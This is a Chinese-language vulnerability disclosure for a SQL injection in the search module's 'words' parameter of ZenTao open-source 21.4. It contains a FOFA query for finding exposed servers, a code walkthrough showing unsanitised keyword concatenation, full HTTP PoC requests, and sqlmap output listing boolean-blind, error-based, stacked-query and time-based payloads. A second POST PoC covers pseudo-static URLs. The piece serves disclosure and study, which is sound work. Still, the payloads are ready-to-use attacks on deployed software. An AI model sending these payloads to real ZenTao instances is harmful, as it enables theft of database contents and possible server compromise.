禅道开源版21.4最新版 search 模块的 words sql注入漏洞


漏洞简介

禅道开源版是一款研发项目管理软件。产道开源版 search 模块的 words 参数存在sql注入漏洞,具有登录权限的攻击者可利用此漏洞获取系统数据库数据,甚至在高权限数据库账户下获取服务器权限。

fofa语法

app="易软天创-禅道系统"

影响版本

<=21.4(禅道开源版最新版)

漏洞分析

环境搭建

docker pull easysoft/zentao:21.4
mkdir zentao21.4 && cd zentao21.4
docker run -d -v ./data:/data -p 8082:80 -e MYSQL_INTERNAL=true -e REDIS_INTERNAL=true easysoft/zentao:21.4

然后访问 http://localhost:8082/ 即可打开安装界面,在最后一步可勾选导入 demo 数据。

登录进后台首页后,在右下角的搜索输入框里随便输入,然后访问搜索结果

正常显示如下

给 words 增加一个 单引号后有SQL报错

http://localhost:8082/index.php?m=search&f=index&words=123%27&type=all

根据报错点直接看 module/search/control.php 文件搜索 words 找到 index 方法

#3 module/search/control.php(359): searchModel->getList('123'', 'all', Object(pager))
    /**
     * 全局搜索结果页面。
     * Global search results home page.
     *
     * @param  int    $recTotal
     * @param  int    $pageID
     * @access public
     * @return void
     */
    public function index($recTotal = 0, $pageID = 1)
    {
        $this->lang->admin->menu->search = "{$this->lang->search->common}|search|index";

        /* 获取搜索的关键词。*/
        /* Get the words. */
        if(empty($words)) $words = $this->get->words;
        if(empty($words)) $words = $this->post->words;
        if(empty($words) && ($recTotal != 0 || $pageID != 1)) $words = $this->session->searchIngWord;
        $words = strip_tags(strtolower($words));

        /* 获取搜索类型。*/
        /* Get the type. */
        if(empty($type)) $type = $this->get->type;
        if(empty($type)) $type = $this->post->type;
        if(empty($type) && ($recTotal != 0 || $pageID != 1)) $type = $this->session->searchIngType;
        if(is_array($type)) $type = array_filter(array_unique($type));
        $type = (empty($type) || (is_array($type) && in_array('all', $type))) ? 'all' : $type;

        /* 开始搜索时记录当时的时间。*/
        $begin = time();

        $this->app->loadClass('pager', $static = true);
        $pager   = new pager(0, $this->config->search->recPerPage, $pageID);
        $results = $this->search->getList($words, $type, $pager);

        $uri  = inlink('index', "recTotal=$pager->recTotal&pageID=$pager->pageID");
        $uri .= strpos($uri, '?') === false ? '?' : '&';
        $uri .= 'words=' . $words;
        $this->searchZen->setSessionForIndex($uri, $words, $type);

        $this->view->title      = $this->lang->search->index;
        $this->view->results    = $results;
        $this->view->consumed   = time() - $begin;
        $this->view->type       = $type;
        $this->view->typeList   = $this->searchZen->getTypeList();
        $this->view->pager      = $pager;
        $this->view->words      = $words;
        $this->view->referer    = $this->session->referer;

        $this->display();
    }
}

words 支持 get post两种方式获取处理后,传递给 getList 方法,在 module/search/model.php 中实现

/**
     * 获取搜索结果。
     * get search results of keywords.
     *
     * @param  string $keywords
     * @param  string $type
     * @param  object $pager
     * @access public
     * @return array
     */
    public function getList($keywords, $type, $pager = null)
    {
        list($words, $againstCond, $likeCondition) = $this->searchTao->getSqlParams($keywords);
        $allowedObjects = $this->searchTao->getAllowedObjects($type);

        $filterObjects = array();
        foreach($allowedObjects as $index => $object)
        {
            if(strpos(',feedback,ticket,', ",$object,") === false) continue;

            unset($allowedObjects[$index]);
            $filterObjects[] = $object;
        }

        $scoreColumn = "(MATCH(title, content) AGAINST('{$againstCond}' IN BOOLEAN MODE))";
        $stmt = $this->dao->select("*, {$scoreColumn} as score")->from(TABLE_SEARCHINDEX)
            ->where("(MATCH(title,content) AGAINST('{$againstCond}' IN BOOLEAN MODE) >= 1 {$likeCondition})")
            ->andWhere('((vision')->eq($this->config->vision)
            ->andWhere('objectType')->in($allowedObjects)
            ->markRight(1)
            ->orWhere('(objectType')->in($filterObjects)
            ->markRight(2)
            ->andWhere('addedDate')->le(helper::now())
            ->orderBy('score_desc, editedDate_desc')
            ->query();

        $results     = array();
        $idListGroup = array();
        while($record = $stmt->fetch())
        {
            $results[$record->id] = $record;

            $module = $record->objectType == 'case' ? 'testcase' : $record->objectType;
            $idListGroup[$module][$record->objectID] = $record->objectID;
        }

        $results = $this->searchTao->checkPriv($results, $idListGroup);
        if(empty($results)) return $results;

        /* Reset pager total and get this page data. */
        if($pager) $results = $this->searchTao->setResultsInPage($results, $pager);

        $objectList = $this->searchTao->getobjectList($idListGroup);
        return $this->processResults($results, $objectList, $words);
    }

然后调用 module/search/tao.php 中的 getSqlParams 函数来处理 words 后,将$againstCond 和 $likeCondition 直接拼接进SQL语句的 where 条件中执行最终的 SQL 语句查询

/**
     * 获取 sql 语句的参数。
     * Get list sql params.
     *
     * @param  string    $keywords
     * @access protected
     * @return array
     */
    protected function getSqlParams($keywords)
    {
        $spliter = $this->app->loadClass('spliter');
        $words   = explode(' ', $this->unify($keywords, ' '));

        $against     = '';
        $againstCond = '';
        foreach($words as $word)
        {
            /* 将 utf-8 字符串拆分为单词,为每个单词计算 unicode. */
            $splitedWords = $spliter->utf8Split($word);
            $trimmedWord  = trim($splitedWords['words']);
            $against     .= '"' . $trimmedWord . '" ';
            $againstCond .= '(+"' . $trimmedWord . '") ';

            if(is_numeric($word) && strpos($word, '.') === false && strlen($word) == 5) $againstCond .= "(-\" $word \") ";
        }

        $likeCondition = trim($keywords) ? "OR title like '%{$keywords}%' OR content like '%{$keywords}%'" : '';

        $words = str_replace('"', '', $against);
        $words = str_pad($words, 5, '_');

        return array($words, $againstCond, $likeCondition);
    }

虽然经过一系列处理,但是没有卵用,无任何过滤,最终造成SQL注入漏洞。

漏洞复现

GET POST 请求均可

GET /index.php?m=search&f=index&words=123')+AND+(SELECT+1474+FROM(SELECT+COUNT(*),CONCAT(0x71716a7871,(SELECT+(ELT(1474=1474,1))),0x716b716a71,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)--+ErSi&type=all&zin=1 HTTP/1.1
Cookie: zentaosid=16bcf74b70e51ffee15e918682213004; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=search
Sec-Fetch-Site: same-origin
X-Zin-App: search
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.4103.116 Safari/537.36
Accept: */*
Connection: keep-alive
Referer: http://localhost:8082/index.php?m=index&f=index&open=L2luZGV4LnBocD9tPXNlYXJjaCZmPWluZGV4JndvcmRzPTEyMyUyNyZ0eXBlPWFsbA==
X-Zin-Uid: YLKXtrAEJTnQzHrA1M2ZQ
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9,zh-HK;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
X-Zin-Debug: true
Host: localhost:8082
Pragma: no-cache
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Dnt: 1
X-Zin-Options: {"selector":["#configJS","title>*","body>*"],"type":"list"}
X-Zin-Cache-Time: 0

sqlmap 跑出的结果如下

python3 sqlmap.py -r 1.txt --dbms mysql --batch -p words

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: http://localhost:8082/index.php?m=search&f=index&words=123') RLIKE (SELECT (CASE WHEN (3407=3407) THEN 123 ELSE 0x28 END))-- SEvY&type=all&zin=1

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://localhost:8082/index.php?m=search&f=index&words=123') AND (SELECT 1474 FROM(SELECT COUNT(*),CONCAT(0x71716a7871,(SELECT (ELT(1474=1474,1))),0x716b716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ErSi&type=all&zin=1

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: http://localhost:8082/index.php?m=search&f=index&words=123');SELECT SLEEP(6)#&type=all&zin=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://localhost:8082/index.php?m=search&f=index&words=123') AND (SELECT 7951 FROM (SELECT(SLEEP(6)))aMEx)-- sREW&type=all&zin=1
---

其他

如果系统开启了伪静态可能的 poc 如下

POST /zentao/search-index.html HTTP/1.1
Accept: */*
Referer: http://localhost:8082/zentao/index.html?open=L3plbnRhby9zZWFyY2gtaW5kZXguaHRtbD93b3Jkcz0xMjMlMjcmdHlwZT1hbGw=
X-Zin-App: search
Cookie: zentaosid=16bcf74b70e51ffee15e918682213004; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=search
X-Zin-Debug: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
X-Zin-Options: {"selector":["#configJS","title>*","body>*"],"type":"list"}
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

type=all&words=123');SELECT+SLEEP(5)%23&zin=1

参考

  • https://www.zentao.net/book/zentaopms/docker-1111.html
  • https://hub.docker.com/r/easysoft/zentao/tags?name=21.4

手机扫码阅读

万能门店小程序管理系统 /api/wxapps/doPageptpinfo SQL 注入漏洞

万能门店小程序管理系统 /api/wxapps/doPageGetFormCon SQL 注入漏洞

评 论